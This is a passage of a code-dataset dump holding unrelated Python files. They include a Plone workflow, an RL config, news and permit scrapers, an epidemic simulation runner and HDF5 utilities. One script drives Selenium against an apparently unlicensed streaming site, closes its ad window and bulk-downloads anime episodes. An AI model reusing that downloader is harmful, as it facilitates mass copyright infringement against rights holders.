getToolByName(self,'portal_url').getPortalObject()\n data = list(portal.__ac_roles__)\n for role in ['Leader', 'DeputyLeader', 'Spokesperson', 'Secretary']:\n if not role in data:\n data.append(role)\n # add to portal_role_manager\n # first try to fetch it. if its not there, we probaly have no PAS \n # or another way to deal with roles was configured. \n try:\n prm = portal.acl_users.get('portal_role_manager', None)\n if prm is not None:\n try:\n prm.addRole(role, role, \n \"Added by product 'Bungeni'/workflow 'PoliticalGroupWorkflow'\")\n except KeyError: # role already exists\n pass\n except AttributeError:\n pass\n portal.__ac_roles__ = tuple(data)\n\n workflow.setProperties(title='PoliticalGroupWorkflow')\n\n ##code-section create-workflow-setup-method-header #fill in your manual code here\n ##/code-section create-workflow-setup-method-header\n\n\n for s in ['active']:\n workflow.states.addState(s)\n\n for t in []:\n workflow.transitions.addTransition(t)\n\n for v in ['review_history', 'comments', 'time', 'actor', 'action']:\n workflow.variables.addVariable(v)\n\n workflow.addManagedPermission('View')\n workflow.addManagedPermission('Modify portal content')\n workflow.addManagedPermission('Access contents information')\n\n for l in []:\n if not l in workflow.worklists.objectValues():\n workflow.worklists.addWorklist(l)\n\n ## Initial State\n\n workflow.states.setInitialState('active')\n\n ## States initialization\n\n stateDef = workflow.states['active']\n stateDef.setProperties(title=\"\"\"active\"\"\",\n description=\"\"\"\"\"\",\n transitions=[])\n stateDef.setPermission('View',\n 0,\n ['Manager', 'Leader', 'DeputyLeader', 'Spokesperson', 'Secretary', 'Member'])\n stateDef.setPermission('Modify portal content',\n 0,\n ['Manager', 'Leader', 'DeputyLeader', 'Spokesperson', 'Secretary'])\n stateDef.setPermission('Access contents information',\n 0,\n ['Manager', 'Leader', 'DeputyLeader', 'Spokesperson', 'Secretary', 'Member'])\n\n ## Transitions initialization\n\n ## State Variable\n workflow.variables.setStateVar('review_state')\n\n ## Variables initialization\n variableDef = workflow.variables['review_history']\n variableDef.setProperties(description=\"\"\"Provides access to workflow history\"\"\",\n default_value=\"\"\"\"\"\",\n default_expr=\"\"\"state_change/getHistory\"\"\",\n for_catalog=0,\n for_status=0,\n update_always=0,\n props={'guard_permissions': 'Request review; Review portal content'})\n\n variableDef = workflow.variables['comments']\n variableDef.setProperties(description=\"\"\"Comments about the last transition\"\"\",\n default_value=\"\"\"\"\"\",\n default_expr=\"\"\"python:state_change.kwargs.get('comment', '')\"\"\",\n for_catalog=0,\n for_status=1,\n update_always=1,\n props=None)\n\n variableDef = workflow.variables['time']\n variableDef.setProperties(description=\"\"\"Time of the last transition\"\"\",\n default_value=\"\"\"\"\"\",\n default_expr=\"\"\"state_change/getDateTime\"\"\",\n for_catalog=0,\n for_status=1,\n update_always=1,\n props=None)\n\n variableDef = workflow.variables['actor']\n variableDef.setProperties(description=\"\"\"The ID of the user who performed the last transition\"\"\",\n default_value=\"\"\"\"\"\",\n default_expr=\"\"\"user/getId\"\"\",\n for_catalog=0,\n for_status=1,\n update_always=1,\n props=None)\n\n variableDef = workflow.variables['action']\n variableDef.setProperties(description=\"\"\"The last transition\"\"\",\n default_value=\"\"\"\"\"\",\n default_expr=\"\"\"transition/getId|nothing\"\"\",\n for_catalog=0,\n for_status=1,\n update_always=1,\n props=None)\n\n ## Worklists Initialization\n\n\n # WARNING: below protected section is deprecated.\n # Add a tagged value 'worklist' with the worklist name to your state(s) instead.\n\n ##code-section create-workflow-setup-method-footer #fill in your manual code here\n ##/code-section create-workflow-setup-method-footer\n\n\n\ndef createPoliticalGroupWorkflow(self, id):\n \"\"\"Create the workflow for Bungeni.\n \"\"\"\n\n ob = DCWorkflowDefinition(id)\n setupPoliticalGroupWorkflow(self, ob)\n return ob\n\naddWorkflowFactory(createPoliticalGroupWorkflow,\n id='PoliticalGroupWorkflow',\n title='PoliticalGroupWorkflow')\n\n##code-section create-workflow-module-footer #fill in your manual code here\n##/code-section create-workflow-module-footer\n\n","sub_path":"archived/Bungeni/trunk/Extensions/PoliticalGroupWorkflow.py","file_name":"PoliticalGroupWorkflow.py","file_ext":"py","file_size_in_byte":7208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"373465013","text":"from __future__ import division\r\nfrom __future__ import print_function\r\nfrom __future__ import absolute_import\r\n\r\n\r\n\r\nimport gym\r\nimport numpy as np\r\nimport torch\r\nfrom modeling.models import BNN\r\nfrom src.mbrl.misc.DotmapUtils import get_required_argument\r\nTORCH_DEVICE = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\r\n\r\nclass CartpoleConfigModule:\r\n ENV_NAME = \"CartPole-v1\"\r\n print(ENV_NAME)\r\n TASK_HORIZON = 200\r\n NTRAIN_ITERS = 1\r\n NROLLOUTS_PER_ITER = 1\r\n PLAN_HOR = 25\r\n MODEL_IN, MODEL_OUT = 6, 5\r\n GP_NINDUCING_POINTS = 200\r\n\r\n # Create and move this tensor to GPU so that\r\n # we do not waste time moving it repeatedly to GPU later\r\n ee_sub = torch.tensor([0.0, 0.6], device=TORCH_DEVICE, dtype=torch.float)\r\n\r\n def __init__(self):\r\n self.ENV = gym.make(self.ENV_NAME)\r\n self.NN_TRAIN_CFG = {\"epochs\": 5}\r\n self.OPT_CFG = {\r\n \"Random\": {\r\n \"popsize\": 2000\r\n },\r\n \"CEM\": {\r\n \"popsize\": 400,\r\n \"num_elites\": 40,\r\n \"max_iters\": 5,\r\n \"alpha\": 0.1\r\n }\r\n }\r\n\r\n @staticmethod\r\n def obs_preproc(obs):\r\n if isinstance(obs, np.ndarray):\r\n return obs\r\n elif isinstance(obs, torch.Tensor):\r\n return obs\r\n\r\n @staticmethod\r\n def obs_postproc(obs, pred):\r\n return obs + pred\r\n\r\n @staticmethod\r\n def targ_proc(obs, next_obs):\r\n return next_obs - obs\r\n\r\n @staticmethod\r\n def obs_cost_fn(obs):\r\n ee_pos = CartpoleConfigModule._get_ee_pos(obs)\r\n\r\n ee_pos -= CartpoleConfigModule.ee_sub\r\n\r\n ee_pos = ee_pos ** 2\r\n\r\n ee_pos = - ee_pos.sum(dim=1)\r\n\r\n return - (ee_pos / (0.6 ** 2)).exp()\r\n\r\n @staticmethod\r\n def ac_cost_fn(acs):\r\n return 0.01 * (acs ** 2).sum(dim=1)\r\n\r\n @staticmethod\r\n def _get_ee_pos(obs):\r\n x0, theta = obs[:, :1], obs[:, 1:2]\r\n\r\n return torch.cat([\r\n x0 - 0.6 * theta.sin(), -0.6 * theta.cos()\r\n ], dim=1)\r\n\r\n def nn_constructor(self, model_init_cfg):\r\n # print('inital cfg', model_init_cfg)\r\n ensemble_size = get_required_argument(model_init_cfg, \"num_nets\", \"Must provide ensemble size\")\r\n\r\n load_model = model_init_cfg.get(\"load_model\", False)\r\n\r\n assert load_model is False, 'Has yet to support loading model'\r\n\r\n model = BNN(ensemble_size,\r\n self.MODEL_IN, self.MODEL_OUT * 2).to(TORCH_DEVICE)\r\n # * 2 because we output both the mean and the variance\r\n\r\n model.optim = torch.optim.Adam(model.parameters(), lr=0.001)\r\n\r\n return model\r\n\r\n\r\nCONFIG_MODULE = CartpoleConfigModule","sub_path":"src/mbrl/config/cartpole-2d.py","file_name":"cartpole-2d.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"207344787","text":"\nimport argparse\nimport sys\nimport csv\nimport pandas\ncsv.field_size_limit(sys.maxsize)\n\ndef normalization():\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--file\", required=True, help=\"file to normalize\")\n parser.add_argument(\"-c\", \"--column\", required=True, help=\"column with multiple values\")\n parser.add_argument(\"-s\", \"--separator\", required=False, help=\"separator for the multiple values\")\n args = parser.parse_args()\n\n if len(sys.argv) >= 5:\n data = pandas.read_csv(args.file)\n col = str(args.column)\n if args.separator:\n sep = str(args.separator)\n else:\n sep = ' '\n\n\n else:\n print(\"No input the correct arguments, run pip3 normalize.py -h to see the help)\")\n sys.exit()\n\n output_file = \"\\\"id\\\",\\\"\" + col + \"\\\"\\n\"\n for row in range(len(data[col])):\n if isinstance(data[col][row], str):\n val = data[col][row].replace(\"\\\\,\", \"\\\\;\")\n for value in val.split(sep):\n output_file += \"\\\"\" + data['id'][row] + \"\\\",\\\"\" + str(value).replace(\"\\\\;\", \",\").replace(\"\\\\\", \"-\") + \"\\\"\\n\"\n\n if row % 100000 == 0:\n print(\"Normalizing row: \"+str(row))\n\n\n\n f = open(args.file, \"w\")\n f.write(str(output_file))\n f.close()\n\nif __name__ == \"__main__\":\n normalization()\n","sub_path":"scripts/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"568351247","text":"'''\n新浪新闻:http://news.sina.com.cn/society/\nDate:20180920\nAuthor:lizm\nDescription:获取新浪新闻\n'''\nimport requests\nfrom bs4 import BeautifulSoup\nfrom urllib import request\nfrom lxml import etree\nimport sys\nimport re\nimport os\n\ndef getNews(title,url,m):\n Hostreferer = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'\n }\n req = request.Request(url)\n response = request.urlopen(req)\n #过滤非utf-8的网页新闻\n response = response.read().decode('utf-8',\"ignore\")\n soup = BeautifulSoup(response,'lxml')\n tag = soup.find('div',class_='article')\n if tag == None:\n return 0\n #获取文章发布时间\n fb_date = soup.find('div','date-source').span.string\n #获取发布网站名称\n fb_www= soup.find('div','date-source').a.string\n #获取文章内容\n rep = re.compile(\"[\\s+\\.\\!\\/_,$%^*(+\\\"\\']+|[+<>?、~*()]+\")\n title = rep.sub('',title)\n title = title.replace(':',':')\n filename = sys.path[0]+\"/news/\"+title+\".txt\"\n with open(filename,'w',encoding='utf8') as file_object:\n file_object.write(fb_date + \" \" + fb_www)\n file_object.write(\"\\n\")\n file_object.write(\"网址:\"+url)\n file_object.write(\"\\n\")\n file_object.write(title)\n file_object.write(tag.get_text())\n\n i = 0\n for image in tag.find_all('div','img_wrapper'):\n title_img = title +str(i)\n #保存图片\n #判断目录是否存在\n if (os.path.exists(sys.path[0]+\"/news/\"+title)):\n pass\n else:\n #不存在,则新建目录\n os.mkdir(sys.path[0]+\"/news/\"+title)\n os.chdir(sys.path[0]+\"/news/\"+title)\n file_name = \"http://news.sina.com.cn/\"+image.img.get('src').replace('//','')\n html = requests.get(file_name, headers=Hostreferer)\n # 图片不是文本文件,以二进制格式写入,所以是html.content\n title_img = title_img +\".jpg\"\n f = open(title_img, 'wb')\n f.write(html.content)\n f.close()\n i+=1\n print('成功爬取第', m,'个新闻',title)\n return 0\n\n#获取社会新闻(最新的162条新闻)\ndef getTitle(url):\n req = request.Request(url)\n response = request.urlopen(req)\n response = response.read().decode('utf8')\n soup = BeautifulSoup(response,'lxml')\n y = 0\n for tag in soup.find('ul',class_='seo_data_list').find_all('p'):\n\n if tag.a != None:\n #if y== 27:\n print(y,tag.a.string,tag.a.get('href'))\n temp = tag.a.string\n getNews(temp,tag.a.get('href'),y)\n y += 1\n\nif __name__ == '__main__':\n url = 'http://news.sina.com.cn/society/'\n getTitle(url)","sub_path":"user/爬.py","file_name":"爬.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"25505496","text":"import sys\nimport matlab.engine\n\n\n# ncfilefullpath = 'E:\\\\ncfile\\\\2018\\\\03\\\\27\\\\ca_subCA_das_2018032703.nc'\n# matpath = 'D:\\\\MyFile\\\\MyCode\\\\Projects\\\\OIPS\\\\public\\\\mat\\\\'\n# matlabpath = 'D:\\\\MyFile\\\\MyCode\\\\Projects\\\\OIPS\\\\models\\\\matlab\\\\manage'\n# jsonpath = 'E:\\\\ncfile\\\\jsondata'\n# ncfilepath = 'E:\\\\ncfile\\\\2018\\\\03\\\\27'\n# ncfilename = 'ca_subCA_das_2018032703.nc'\n\n\nncfilefullpath = sys.argv[1]\nmatpath = sys.argv[2]\nmatlabpath = sys.argv[3]\njsonpath = sys.argv[4]\nncfilepath = sys.argv[5]\nncfilename = sys.argv[6]\nprint(ncfilefullpath)\nprint(matpath)\nprint(matlabpath)\nprint(jsonpath)\nprint(ncfilepath)\nprint(ncfilename)\n\n\neng = matlab.engine.start_matlab(\"-desktop\")\neng.addpath(matpath)\neng.addpath(matlabpath)\n\neng.Nc2JsonFull(matpath, jsonpath, ncfilefullpath,\n ncfilepath, ncfilename, nargout=0)\n\n\nsys.stdout.flush()\n","sub_path":"models/python/manage/Nc2Json.py","file_name":"Nc2Json.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550805520","text":"from scipy.stats import gamma\nfrom turtleWorld.BarrioTortugaSEIR import BarrioTortugaSEIR\nimport pandas as pd\nimport os\nimport sys\nimport shutil\n\n\n\ndef run_turtles(steps = 500,\n fprint = 25,\n ticks_per_day = 5,\n turtles = 10000,\n i0 = 10,\n r0 = 3.5,\n ti = 5.5,\n tr = 5.5,\n ti_dist = 'F', # F for fixed, E for exp G for Gamma\n tr_dist = 'F',\n p_dist = 'F', # F for fixed, S for Binomial, P for Poissoin\n width = 40,\n height = 40):\n\n print(f\" Running Simulation with {turtles} turtles, for {steps} steps.\")\n bt = BarrioTortugaSEIR(ticks_per_day, turtles, i0, r0, ti, tr,\n ti_dist, tr_dist, p_dist,\n width, height)\n\n for i in range(steps):\n if i%fprint == 0:\n print(f' step {i}')\n bt.step()\n print('Done!')\n\n STATS = {}\n STATS['Ti'] = bt.Ti\n STATS['Tr'] = bt.Tr\n STATS['P'] = bt.P\n return bt.datacollector.get_model_vars_dataframe(), pd.DataFrame.from_dict(STATS)\n\n\n\ndef run_series(ns=100,\n csv = False,\n path =\"/Users/jjgomezcadenas/Projects/Development/turtleWorld/data\",\n steps = 500,\n fprint = 25,\n ticks_per_day = 5,\n turtles = 10000,\n i0 = 10,\n r0 = 3.5,\n ti = 5.5,\n tr = 5.5,\n ti_dist = 'F', # F for fixed, E for exp G for Gamma\n tr_dist = 'F',\n p_dist = 'F', # F for fixed, S for Binomial, P for Poissoin\n width = 40,\n height = 40):\n\n if csv:\n fn1 = f'Turtles_{turtles}_steps_{steps}_i0_{i0}_r0_{r0}_ti_{ti}_tr_{tr}'\n fn2 = f'Tid_{ti_dist}_Tir_{tr_dist}_Pdist_{p_dist}'\n dirname =f'{fn1}_{fn2}'\n mdir = os.path.join(path, dirname)\n\n try:\n shutil.rmtree(mdir, ignore_errors=False, onerror=None)\n print(f\"Directory {mdir} has been removed\" )\n except OSError as error:\n print(error)\n print(\"Directory {mdir} not removed\")\n\n print(f\" Creating Directory {mdir} created\")\n try:\n os.mkdir(mdir)\n print(f\"Directory {mdir} has been created\" )\n except OSError as error:\n print(error)\n print(\"Directory {mdir} not created\")\n sys.exit()\n\n\n STATS = []\n DFT = []\n for i in range(ns):\n print(f' series number {i}')\n dft, stats = run_turtles(steps, fprint, ticks_per_day, turtles, i0, r0,\n ti, tr,\n ti_dist, tr_dist, p_dist,\n width, height)\n\n STATS.append(stats)\n DFT.append(dft)\n if csv:\n file =f'DFT_run_{i}.csv'\n mfile = os.path.join(mdir, file)\n dft.to_csv(mfile, sep=\" \")\n if i == 0:\n file=f'STA.csv'\n mfile = os.path.join(mdir, file)\n stats.to_csv(mfile, sep=\" \")\n\n df = pd.concat(DFT)\n dfs = pd.concat(STATS)\n\n if csv:\n\n # for i in range(len(DFT)):\n # file =f'DFT_run_{i}.csv'\n # mfile = os.path.join(mdir, file)\n # DFT[i].to_csv(mfile, sep=\" \")\n\n file=f'DFT_run_average.csv'\n mfile = os.path.join(mdir, file)\n df.groupby(df.index).mean().to_csv(mfile, sep=\" \")\n\n # file=f'STA.csv'\n # mfile = os.path.join(mdir, file)\n # STATS[0].to_csv(mfile, sep=\" \")\n #dfs.groupby(dfs.index).mean().to_csv(mfile, sep=\" \")\n\nrun_series(ns = 2,\n csv = True,\n path =\"/Users/jjgomezcadenas/Projects/Development/turtleWorld/data\",\n steps = 500,\n fprint = 25,\n ticks_per_day = 5,\n turtles = 1000,\n i0 = 10,\n r0 = 3.5,\n ti = 5.5,\n tr = 6.5,\n ti_dist = 'F', # F for fixed, E for exp G for Gamma\n tr_dist = 'F',\n p_dist = 'F', # F for fixed, S for Binomial, P for Poissoin\n width = 40,\n height = 40)\n","sub_path":"run/run_turtles.py","file_name":"run_turtles.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"499621471","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport platform\nimport glob\n\nfrom setuptools import setup, find_packages, Command\n\n\nif sys.version_info < (3, 6):\n print(\"Python 3.6 or higher required, please upgrade.\")\n sys.exit(1)\n\nversion = \"0.1\"\nname = \"scholar_bot\"\ndescription = (\n \"Post updates on Slack about citations \"\n \"for the Computational Phyisoligy department at Simula\"\n)\nscripts = []\nrequirements = [\"slackclient\", \"scholarly\", \"pyyaml\"]\n\nif platform.system() == \"Windows\" or \"bdist_wininst\" in sys.argv:\n # In the Windows command prompt we can't execute Python scripts\n # without a .py extension. A solution is to create batch files\n # that runs the different scripts.\n batch_files = []\n for script in scripts:\n batch_file = script + \".bat\"\n f = open(batch_file, \"w\")\n f.write(r'python \"%%~dp0\\%s\" %%*\\n' % os.path.split(script)[1])\n f.close()\n batch_files.append(batch_file)\n scripts.extend(batch_files)\n\n\ndef run_install():\n \"Run installation\"\n\n # Call distutils to perform installation\n setup(\n name=name,\n description=description,\n version=version,\n author=\"Henrik Finsberg\",\n license=\"MIT\",\n author_email=\"henrikn@simula.no\",\n platforms=[\"Windows\", \"Linux\", \"Solaris\", \"Mac OS-X\", \"Unix\"],\n packages=[\"scholar_bot\"],\n package_dir={\"scholar_bot\": \"scholar_bot\"},\n entry_points={\"console_scripts\": [\"scholar_bot=scholar_bot.__main__:main\"]},\n # install_requires=requirements,\n scripts=scripts,\n zip_safe=False,\n )\n\n\nif __name__ == \"__main__\":\n run_install()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"370239259","text":"import os\nimport sys\nimport random\n\nfile = open(\"order.txt\",\"w\")\nnum_task = 12\nnum_session = 12\ntimes_rand = num_task * 4\n\norder = []\n\nfor m in range(num_session):\n\to = []\n\tfor i in range(num_task/3):\n\t\to.append(1)\n\t\to.append(2)\n\t\to.append(3)\n\tfor i in range(num_task/3*3,num_task):\n\t\to.append(random.randint(1,3))\n\n\tfor i in range(times_rand):\n\t\tj = random.randint(0,num_task-1)\n\t\tk = random.randint(0,num_task-1)\n\t\tt = o[j]\n\t\to[j] = o[k]\n\t\to[k] = t\n\torder.extend(o)\n\nline = \"\"\nfor i in range(num_task*num_session):\n\tline += str(order[i]) + \" \"\nline += \"\\n\"\n\nfile.write(line)\n\nnum_session = 12\nsize = []\nfor i in range(num_session/3):\n\tsize.append(1)\n\tsize.append(2)\n\tsize.append(3)\nfor i in range(times_rand):\n\tj = random.randint(0,num_session-1)\n\tk = random.randint(0,num_session-1)\n\tt = size[j]\n\tsize[j] = size[k]\n\tsize[k] = t\nline = \"\"\nfor i in range(num_session):\n\tline += str(size[i]) + \" \"\nline += \"\\n\"\nfile.write(line)\nfile.close()","sub_path":"python/tasktype.py","file_name":"tasktype.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"252847903","text":"\nimport os\nimport inspect\nfrom hdf5_image_processing import Hdf5ImageProcessing as IP, Hdf5ImageProcessingLib as IPL\nfrom shutil import copy, copyfile\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport processing_libip as libip\nimport sys\n\n\n__author__ = 'jhennies'\n\n\ndef remove_small_objects(ipl):\n \"\"\"\n :param ipl: A Hdf5ImageProcessingLib instance containing labelimages named as specified in ipl.get_params()['labelsname']\n\n ipl.get_params()\n\n remove_small_objects\n bysize\n relabel\n\n largeobjname\n\n labelsname\n\n :param key: the source key for calculation\n \"\"\"\n\n params = ipl.get_params()\n thisparams = params['remove_small_objects']\n targetfile = params['intermedfolder'] + params['largeobjfile']\n\n for d, k, v, kl in ipl.data_iterator(yield_short_kl=True):\n\n if k == params['labelsname']:\n\n ipl.logging('===============================\\nWorking on image: {}', kl + [k])\n\n # TODO: Implement copy full logger\n ipl[kl].set_logger(ipl.get_logger())\n\n # Load the image data into memory\n ipl[kl].populate(k)\n\n ipl[kl] = libip.filter_small_objects(ipl[kl], k, thisparams['bysize'], relabel=thisparams['relabel'])\n\n # Rename the entry\n ipl[kl].rename_entry(params['labelsname'], params['largeobjname'])\n\n # Write the result to file\n ipl.write(filepath=targetfile, keys=[kl + [params['largeobjname']]])\n # Free memory (With this command the original reference to the source file is restored)\n ipl[kl].unpopulate()\n\n\ndef run_remove_small_objects(yamlfile):\n\n ipl = IPL(\n yaml=yamlfile,\n yamlspec={'path': 'datafolder', 'filename': 'labelsfile', 'skeys': 'labelsname'},\n recursive_search=True,\n nodata=True\n )\n\n # Set indentation of the logging\n ipl.set_indent(1)\n\n params = ipl.get_params()\n ipl.startlogger(filename=params['resultfolder'] + 'remove_small_objects.log', type='w', name='RemoveSmallObjects')\n\n try:\n\n # # Copy the script file and the parameters to the scriptsfolder\n # copy(inspect.stack()[0][1], params['scriptsfolder'])\n # copy(yamlfile, params['scriptsfolder'] + 'remove_small_objects.parameters.yml')\n\n ipl.logging('\\nipl datastructure: \\n\\n{}', ipl.datastructure2string(maxdepth=3))\n\n remove_small_objects(ipl)\n\n ipl.logging('\\nFinal datastructure: \\n\\n{}', ipl.datastructure2string(maxdepth=3))\n\n # ipl.write(filepath=params['intermedfolder'] + params['largeobjfile'])\n\n ipl.logging('')\n ipl.stoplogger()\n\n except:\n\n ipl.errout('Unexpected error')\n\n\nif __name__ == '__main__':\n\n yamlfile = os.path.dirname(os.path.abspath(__file__)) + '/parameters.yml'\n\n run_remove_small_objects(yamlfile)\n\n","sub_path":"neurobioseg/161201_paths_from_segmentation/p161201_00_remove_small_objects.py","file_name":"p161201_00_remove_small_objects.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"404703780","text":"k = 1\nprimes = 0\nn = 1000\nwhile primes < n:\n count = 0\n for i in range(1, k+1):\n if k % i == 0:\n count+=1#подсчитываем делители для каждого числа\n if count>2:\n break\n if count ==2:#если два делителя\n print(k)\n primes+=1\n k+=1","sub_path":"untitled/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"559149326","text":"##Code to run download episodes locally\n\n##install chrome or chromium-browser and respective driver\n##install requirements_forlocal file requirements using \"sudo pip3 install -r requirements_forlocal.txt\"\n\n\n#importing the modules\nfrom bs4 import BeautifulSoup as bs\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport requests as r\nimport threading\nimport time\nimport os\n\n#define the required things below\nanime_name = \"HighschoolDxD\"\nurl = \"https://gogo-stream.com/videos/high-school-dxd-episode-\" #url without episode episode number in str \nno_of_eposides = 12 #no of episodes in anime to download\ndownload_floder = \"videos/\"+anime_name+\"/\" #change not needed\nchrome_binary_path = \"chromedriverpath/chromedriver\" # for colab use chrome driver\n\n#defining the thread function\ndef thread_call(list):\n\toptions = webdriver.ChromeOptions()\n\toptions.add_argument('--no-sandbox')\n\toptions.add_argument('--headless')\n\toptions.add_argument('--disable-dev-shm-usage')\n\td = webdriver.Chrome(executable_path=chrome_binary_path, options=options) #for local\n\tprint(list)\n\tfirst = 1\n\tfor i in list:\n\t\tres = r.get(url+str(i))\n\t\tprint(\"requested\")\n\t\tsoup = bs(res.text,'html.parser')\n\t\tprint(\"loading link\")\n\t\td.get(\"http:\"+soup.find(\"iframe\")['src'])\n\t\ttime.sleep(2)\n\t\tif (first == 1):\n\t\t\tprint(\"clicking on empty space\")\n\t\t\td.find_element_by_xpath(\"//body\").click()\n\t\t\tprint(\"switching to add\")\n\t\t\td.switch_to.window(d.window_handles[1])\n\t\t\tprint(\"closing add\")\n\t\t\td.close()\n\t\t\tprint(\"Going to main window\")\n\t\t\td.switch_to.window(d.window_handles[0])\n\t\td.find_element_by_xpath(\"/html/body/div/div/div[3]/div[2]/div[12]/div[1]/div/div/div[2]/div\").click()\n\t\ttime.sleep(1)\n\t\tprint(\"getting link\")\n\t\tdurl = d.find_element_by_xpath(\"/html/body/div/div/div[3]/div[2]/div[4]/video\")\n\t\tdlink = durl.get_attribute(\"src\")\n\t\tprint(dlink)\n\t\tprint('downloading and saving the file')\n\t\tdata = r.get(dlink)\n\t\twith open(download_floder+anime_name+\"-ep\"+str(i)+\".mp4\",\"wb\") as f:\n\t\t\tf.write(data.content)\n\t\t\tprint(\"downloaded \"+anime_name+\"-\"+str(i)+\".mp4\")\n\t\tfirst = 0\n\td.quit()\n\n#making the directory to download the episodes if not exists\nif not os.path.exists(download_floder):\n os.makedirs(download_floder)\n\n#creating the list by considering number of episodes\nls = no_of_eposides\nl = []\nfor i in range(ls):\n\tl.append(i+1)\nn = int(input(\"No of Threads to run : \")) #input the number of threads to run, define number of threads based on bandwidth\nsplited = []\nlen_l = len(l)\nfor i in range(n):\n\tstart = int(i*len_l/n)\n\tend = int((i+1)*len_l/n)\n\tsplited.append(l[start:end])\nprint(splited)\nt1 = time.perf_counter()\n\n#Creating the threads and starting the threads\nthreads = []\nfor sub_list in splited:\n\tt = threading.Thread(target=thread_call, args=[sub_list])\n\tt.start()\n\tthreads.append(t)\n\n#waiting untile all the threads done executing\nfor thread in threads:\n\tthread.join()\nt2 = time.perf_counter()\nfor _ in range(10):\n print(\"*\"*300)\nprint(f\"Time took to download is : {round(t2-t1,2)}\")\n#checking if all the episodes are downloaded\ncount = 0\nfor i in range((no_of_eposides)):\n\tif not os.path.exists(download_floder+anime_name+\"-ep\"+str(i+1)+\".mp4\"):\n\t\tprint(\"The episode not downloaded : \"+str(i+1))\n\t\tcount = count+1\nprint(\"number of undownloaded episodes : \"+str(count))","sub_path":"main_for_local.py","file_name":"main_for_local.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"605151976","text":"'''\nscrapy crawl 1286_ky_liquor_licenses -a start=2 -a end=3\nCreated on 2019-Jun-28 03:57:52\nTICKET NUMBER -AI_1286\n@author: Muhil\n'''\nfrom scrapy.crawler import CrawlerProcess\nimport time\nfrom Data_scuff.utils.JavaScriptUtils import JavaScriptUtils\nfrom Data_scuff.utils.searchCriteria import SearchCriteria\nfrom scrapy.shell import inspect_response\nimport scrapy\nimport json\nfrom inline_requests import inline_requests\nfrom scrapy.http import HtmlResponse\nimport os\nimport re\nfrom scrapy.loader import ItemLoader\nfrom scrapy.loader.processors import MapCompose\nfrom w3lib.html import remove_tags, replace_escape_chars\n\nfrom Data_scuff.spiders.AI_1051.items import InStjosephMishawakaBuildingPermitsSpiderItem\nfrom Data_scuff.spiders.__common import CommonSpider,CustomSettings\nfrom Data_scuff.utils.utils import Utils\n# from Data_scuff.spiders.AI_1051.in_stjoseph_mishawaka_building_permits_v2 import InStjosephMishawakaBuildingPermitsSpider_v2\n\nclass InStjosephMishawakaBuildingPermitsSpider(CommonSpider):\n name = '1051_msait'\n allowed_domains = ['in.gov']\n start_urls = ['https://internal.franklininfo.com/BDSHTML_MJ/?FISMUNICIPALITY=mishawakaIN']\n \n custom_settings = {\n 'FILE_NAME':Utils.getRundateFileName('AI-1051_Permits_Buildings_StJoseph_Mishawaka_IN_CurationReady'),\n 'JIRA_ID':'AI_1051',\n 'DOWNLOAD_DELAY':.3,\n 'COOKIES_ENABLED':True,\n 'COOKIES_DEBUG':True,\n 'HTTPCACHE_ENABLED':False,\n 'DOWNLOADER_MIDDLEWARES':CustomSettings.appenDownloadMiddlewarevalues({\n 'scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware':None,\n 'Data_scuff.middleware.httpcompression.CustomHttpCompressionMiddleWare':590,\n }),\n 'DOWNLOADER_MIDDLEWARES' : CustomSettings.appenDownloadMiddlewarevalues({\n 'scrapy.downloadermiddlewares.retry.RetryMiddleware': None,\n 'Data_scuff.middleware.common.TooManyRequestsRetryMiddleware': 543,\n }),\n # 'JOBDIR' : CustomSettings.getJobDirectory('in_stjoseph_mishawaka_building_permits'),\n 'TOP_HEADER':{ 'appl #': 'APPL #',\n 'contractor_dba': '',\n 'dba_name': '',\n 'flood_zone': 'Flood Zone',\n 'id': 'ID',\n 'location_address_string': 'Address',\n 'mixed_contractor_name': 'Contractor',\n 'mixed_name': '',\n 'mixed_subtype': '',\n 'notes': 'Notes',\n 'number_of_units': '# Units',\n 'occupancy_subtype': 'Present Use',\n 'parcel id': 'Parcel Id',\n 'permit_applied_date': 'App Dt',\n 'permit_lic_desc': 'Work Types',\n 'permit_lic_eff_date': 'Permit Dt',\n 'permit_lic_fee': 'Est Cost',\n 'permit_lic_no': 'Permit #',\n 'permit_lic_status': 'Status',\n 'permit_subtype': 'Permit Type',\n 'permit_type': '',\n 'project': 'Project',\n 'proposed use': 'Proposed Use',\n 'square_foot': 'Sq. Feet'},\n 'FIELDS_TO_EXPORT':[ \n 'permit_lic_no',\n 'permit_lic_eff_date',\n 'permit_applied_date',\n 